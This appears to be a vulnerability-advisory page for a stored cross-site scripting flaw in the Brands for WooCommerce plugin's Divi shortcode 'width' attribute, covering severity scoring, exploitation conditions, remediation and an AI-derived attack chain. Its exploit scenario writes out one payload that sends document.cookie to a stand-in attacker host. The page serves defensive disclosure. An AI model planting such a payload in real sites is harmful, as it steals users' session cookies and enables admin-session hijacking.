Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain contributor-level WordPress account
-
DeliveryCraft malicious 'width' shortcode attribute with injected script
-
ExploitSave post/page on target WooCommerce site
-
ExecutionVictim user visits injected page
-
PersistStored XSS payload executes in victim browser
-
ImpactExfiltrate session token or hijack admin session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid WordPress account with contributor-level access or higher on the target site - unauthenticated exploitation is not possible. The Divi Builder addon within the Brands for WooCommerce plugin must be installed and active; sites not using Divi Builder are not exposed through this specific code path. A victim user (e.g., an administrator or customer) must subsequently visit the page containing the injected shortcode for the stored payload to execute. What limits exploitation: the contributor account requirement rules out fully external attackers; the Divi Builder dependency limits exposure to a subset of WooCommerce-plus-Divi deployments; and the C:L/I:L impact classification constrains the direct blast radius to session-scoped browser compromise rather than server-side code execution. |
| Impact | The official CVSS 3.1 score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) warrants scrutiny: the UI:N designation conflicts with the mechanics of stored XSS, which inherently requires a victim to visit the injected page. An independent assessment (see assessed_cvss_vector) places this at UI:R, yielding a lower base score of approximately 5.4. The PR:L requirement - a valid, contributor-level WordPress account - is a meaningful gatekeeping factor, preventing entirely unauthenticated exploitation. No EPSS data was provided in the input, so exploitation probability cannot be quantified. KEV status is absent, and no public POC was cited. The real-world priority is moderate: contributor accounts are sometimes granted to untrusted third parties (guest bloggers, editors) on content-heavy WooCommerce stores, and persistent script injection targeting admin sessions or customer sessions could lead to credential theft or stored-XSS-driven privilege escalation. The scope is bounded to sites running the Divi Builder integration of this plugin. |
| Exploit ScenarioDerived | An attacker with a contributor-level WordPress account on the target WooCommerce store edits or creates a post containing a Brands for WooCommerce Divi shortcode, setting the 'width' attribute to a crafted value such as '1" onmouseover="fetch(attacker.com/?c=document.cookie)'. When an administrator or logged-in customer visits the page, the injected script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf. No public POC was cited, but the vulnerability is straightforward to exploit given source code exposure in the trac repository. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 24, 2026
Stored Cross-Site Scripting in the Brands for WooCommerce WordPress plugin (versions up to and including 3.8.8) allows authenticated attackers holding contributor-level access or higher to inject persistent malicious scripts via an unsanitized 'width' shortcode attribute in the Divi Builder integration. The payload executes in the browser of any user who subsequently visits an injected page, with scope change confirmed by CVSS S:C. No public exploit code or CISA KEV listing was identified at time of analysis.
RemediationAI
A patch changeset has been committed to the WordPress plugin repository (https://plugins.trac.wordpress.org/changeset?reponame=&old=3608899%40brands-for-woocommerce&new=3608899%40brands-for-woocommerce), but no specific fixed release version number was identified in the available data - the patched version should be confirmed via the WordPress plugin directory before upgrading. Site administrators should update to the latest available version of Brands for WooCommerce from the WordPress.org plugin repository immediately. As a compensating control while the patch is validated, restrict contributor-level role assignments to fully trusted users only, since that is the minimum privilege required for exploitation. Alternatively, temporarily disabling the Divi Builder shortcode addon within the plugin eliminates the vulnerable code path with the trade-off of losing Divi-integrated brand display functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the plugin's Divi Builder shortcode integration (addons/divi_shortcode/divi-builder.php), specifically where the 'width' attribute of a WooCommerce brand-display shortcode is rendered without proper sanitization or output escaping, as confirmed by source references at lines 7, 16, and 127 of that file. CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies the root cause: attacker-controlled shortcode attribute data flows into rendered HTML without sanitize_text_field() or esc_attr() processing. The affected CPE is cpe:2.3:a:berocket:brands_for_woocommerce:*:*:*:*:*:*:*:*, covering all versions through 3.8.8. Because the script is stored server-side and served to all subsequent page visitors, the impact crosses the security boundary of the injecting user's own session into other users' browser contexts, driving the CVSS scope-change classification.
Know when Brands For Woocommerce gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
UI:R corrects the official vector - stored XSS payload fires only when a victim visits the injected page, requiring user interaction.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Brands for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'width' Shortcode Attribute in all versions up to, and including, 3.8.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Brands For Woocommerce
View allStored Cross-Site Scripting in the Brands for WooCommerce WordPress plugin (versions through 3.8.8) allows authenticated
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor pat
Stored cross-site scripting in the BeRocket Brands for WooCommerce WordPress plugin (all versions through 3.8.8) enables
EUVD-2026-48508
GHSA-36xv-3m2q-wwfm
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB